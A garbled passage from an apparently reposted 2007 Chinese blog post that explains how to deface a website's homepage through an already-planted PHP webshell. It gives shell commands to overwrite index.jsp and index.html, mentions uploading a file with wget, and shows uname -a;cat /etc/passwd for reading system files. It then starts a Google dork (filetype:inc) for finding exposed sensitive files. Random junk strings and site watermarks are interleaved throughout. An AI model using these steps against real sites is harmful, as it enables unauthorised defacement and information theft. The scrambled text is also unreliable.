} cZ wKi/e1@0写搜索的内容不同)。这个PHPWEBSHELL是可以直接Echo(Unix常用命令)。一句话就把首页搞定了:

5nw]J E!o n}6xp0

F2KH%dx.e{K0
y Sdz+e.Y0echo "召唤" > index.jsp

B q"n;h4`.Xt#xj0 51Testing软件测试网1p w ` \6S,d ]S

51Testing软件测试网V4| v-v$CWZ
现在看看首页，已经被我们改成: "召唤" 了。

"?}k/[j.o0 51Testing软件测试网 YZ/l V&^:y#E

我们也可以用WGET上传一个文件上去(比如你要替换的叶子吧)。然后execute Command输入 cat file > index.html or echo "" > file 51Testing软件测试网.]S7e(q n~J%j O

5X-n0z}Xghs0echo "test" >> file 51Testing软件测试网l(vu*S2nZa)FS

Q~a+r r$g0这样一条条打出来，站点首页就成功被替换了。同样的也可以 51Testing软件测试网y]l$@#{f-O)B

51Testing软件测试网*n(\ZNX6K}1G(aV

51Testing软件测试网/u7cw Sv9mB
uname -a;cat /etc/passwd 51Testing软件测试网~9v(fN-E6R2|

51Testing软件测试网'x*I4F4}q:u6F

不过有点要注意，有些WEBSHELL程序有问题，执行不了的，

^8z-F"|m,F0

mvykJ&|b02.搜索INC敏感信息 51Testing软件测试网$s Kh~\3o,foP

51Testing软件测试网9XeT ht l)hw

在google的搜索框中填入:

ly6lS.S ~8N0

R5Q%FwTh0Code:

F N+Uz Q0

~4h-cg8P^0.org filetype:inc 51Testing软件测试网Vyn:L2d0^.H
51Testing软件测试网 e DN4E]l5Mw

aoL!a }t051Testing软件测试网3V0EV4IP9w+Z?+H
测试者家园 2007-07-25 23:21 发表评论
51Testing软件测试网*e5j)ILz w [
51Testing软件测试网j*k J5w2gA_y
Link URL: http://www.cnblogs.com/tester2test/archive/2007/07/25/831552.html

收藏 举报

TAG:

 

评分：0

我来说两句

Open Toolbar